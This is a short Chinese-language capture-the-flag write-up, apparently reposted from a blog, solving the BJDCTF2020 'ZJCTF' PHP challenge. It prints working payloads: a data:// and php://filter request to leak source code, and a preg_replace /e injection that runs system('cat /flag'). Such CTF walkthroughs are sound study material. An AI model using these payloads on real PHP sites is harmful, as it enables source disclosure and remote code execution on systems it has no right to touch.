其他分享
首页 > 其他分享> > [BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

作者:互联网

 

 

get传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。
看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

 

 base64解码得到源码

深入研究preg_replace与代码执行

e模式的preg_replace,有一个远程代码执行漏洞。
思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。

 

next.php?\S*=${getFlag()}&cmd=system("cat /flag");

 

 

 

标签:php,getFlag,不过如此,get,ZJCTF,text,代码执行,file,BJDCTF2020
来源: https://www.cnblogs.com/tac2664/p/14591803.html